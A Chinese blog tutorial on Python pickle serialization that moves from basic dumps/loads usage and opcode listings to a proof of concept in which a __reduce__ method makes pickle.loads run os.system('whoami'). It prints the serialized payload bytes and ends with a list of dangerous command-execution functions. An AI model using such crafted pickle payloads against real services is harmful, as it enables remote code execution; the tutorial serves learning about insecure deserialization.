python序列化与反序列化

发布于 2021-07-14  372 次阅读


0x00 什么是序列化与反序列化

  • seriallization 序列化 : 将对象转化为便于传输的格式, 常见的序列化格式:二进制格式,字节数组,json字符串,xml字符串。
  • deseriallization 反序列化:将序列化的数据恢复为对象的过程。

网上有个很形象的例子:

比如:现在我们都会在淘宝上买桌子,桌子这种很不规则不东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列 的过程(转化成当初的数据对象)。

0x01 python 中的序列化与反序列化

python中的序列化与反序列化库通过python库 pickle 来实现。

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据

下面给出了一个小例子来简单学习一下。

先实例化一个People类,然后利用 pickle.dumps() 将其序列化,然后输出他,之后再利用 pickle.loads 将其反序列化,调用反序列化后的对象的 say() 函数。

import pickle


class People(object):
    def __init__(self, name):
        self.name = name

    def say(self):
        print("Hello ! My friends " + self.name)


people = People(name="So4ms")
serialization = pickle.dumps(people)
print(serialization)
deserialization = pickle.loads(serialization)
deserialization.say()

要注意的是,反序列化时候必须有对应的数据类型,否则就会报错。尤其是自己定义的类。必须得有一致的定义。

例如,如果我们在反序列化之前删除了People类,就会爆出如下错误,提示我们不存在 People 类。

AttributeError: Can't get attribute 'People'

执行上述代码,python3输出结果如下,可以看到序列化后的结果是一串bytes对象,然后下面成功输出了之前实例化对象时传入的初始值。

b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x05So4ms\x94sb.'
Hello ! My friends So4ms

这里可以借用 pickletools 库来翻译一下上述结果

    0: \x80 PROTO      4
    2: \x95 FRAME      45
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'People'
   30: \x94 MEMOIZE    (as 1)
   31: \x93 STACK_GLOBAL
   32: \x94 MEMOIZE    (as 2)
   33: )    EMPTY_TUPLE
   34: \x81 NEWOBJ
   35: \x94 MEMOIZE    (as 3)
   36: }    EMPTY_DICT
   37: \x94 MEMOIZE    (as 4)
   38: \x8c SHORT_BINUNICODE 'name'
   44: \x94 MEMOIZE    (as 5)
   45: \x8c SHORT_BINUNICODE 'So4ms'
   52: \x94 MEMOIZE    (as 6)
   53: s    SETITEM
   54: b    BUILD
   55: .    STOP
highest protocol among opcodes = 4

而python2的输出结果如下:

ccopy_reg
_reconstructor
p0
(c__main__
People
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'name'
p6
S'So4ms'
p7
sb.
Hello ! My friends So4ms

0x02 opcode

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。我们可以在进行序列化时通过 protocol=num 来选择opcode的版本,指定的版本必须小于等于5。

import os
import pickle


class People:
    def __init__(self, name):
        self.name = name

    def __reduce__(self):
        return (os.system, ('whoami',))


people = People(name="So4ms")
for i in range(6):
    print('pickle版本' + str(i) + ' : ', end='')
    serialization = pickle.dumps(people, protocol=i)
    print(serialization)

执行上述代码,得到opcode的六个版本序列化结果如下:

pickle版本0 : b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
pickle版本1 : b'cnt\nsystem\nq\x00(X\x06\x00\x00\x00whoamiq\x01tq\x02Rq\x03.'
pickle版本2 : b'\x80\x02cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
pickle版本3 : b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
pickle版本4 : b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
pickle版本5 : b'\x80\x05\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

具体的指令的含义了解一下就行了,等哪天要用了再好好分析吧。

符号 含义
c 导入模块及其具体对象
( 左括号
t 相当于),与(组合构成一个元组
R 表示反序列化时依据 reduce 中的方式完成反序列化,会避免报错
S 代表一个字符串
p 后面接一个数字,代表第n块堆栈
. 表示结束

0x03 __reduce__

__reduce__() 魔术方法类似于PHP中的 __wakeup() 方法,在反序列化时会先调用 \_\_reduce__ 魔术方法,当 __reduce__() 函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,第二个元素是可调用对象的参数,同样是一个元组。

当执行如下代码时,就会执行 os.system('whoami')

import os
import pickle


class People(object):
    def __init__(self, name):
        self.name = name

    def say(self):
        print("Hello ! My friends " + self.name)

    def __reduce__(self):
        return(os.system, ('whoami',))


people = People(name="So4ms")
serialization = pickle.dumps(people)
deserialization = pickle.loads(serialization)

在反序列化时自动调用 __reduce__() 方法,该方法会自动调用返回值中的函数模块并执行。元类无法在反序列化时调用 __reduce__ 方法。

下面我们来看两段代码。

第一段代码没有 __reduce__() 方法,输出结果为 b'\x80\x04\x95\x17\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03Rce\x94\x93\x94)\x81\x94.'

import pickle


class Rce(object):
    name = "so4ms"


serialization = Rce()
print(pickle.dumps(serialization))

第二段代码加上了 __reduce__() 方法,输出结果为 b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

import pickle
import os


class Rce(object):
    name = "so4ms"

    def __reduce__(self):
        return (os.system, ("whoami",))


serialization = Rce()
print(pickle.dumps(serialization))

然后执行,其中字符串内容为第一段代码序列化后的结果,运行代码发现报错 Can't get attribute 'Rce' on <module '__main__' ,因为此时代码中没有 Rce 类,所以反序列化直接报错了。

import pickle
deserialization = b'\x80\x04\x95\x17\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03Rce\x94\x93\x94)\x81\x94.'
pickle.loads(deserialization)

然后再来执行,发现成功执行了命令 os.system('whoami'),而不是像上一段代码一样报错。

import pickle

deserialization = b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

pickle.loads(deserialization)

当序列化以及反序列化的过程中,如果不清楚类的情况,可以通过定义类中的 __reduce__() 方法来告知如何进行序列化或者反序列化,也就是说我们,只要在类中定义一个 __reduce__() 方法,我们就能在反序列化时,让这个类根据我们在 __reduce__() 中指定的方式进行序列化,就可以执行return结果的恶意代码。

而且在代码执行时,就算我们没有引入 os 模块,也可以进行命令执行。

顺便附上网上的一些命令执行的函数

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen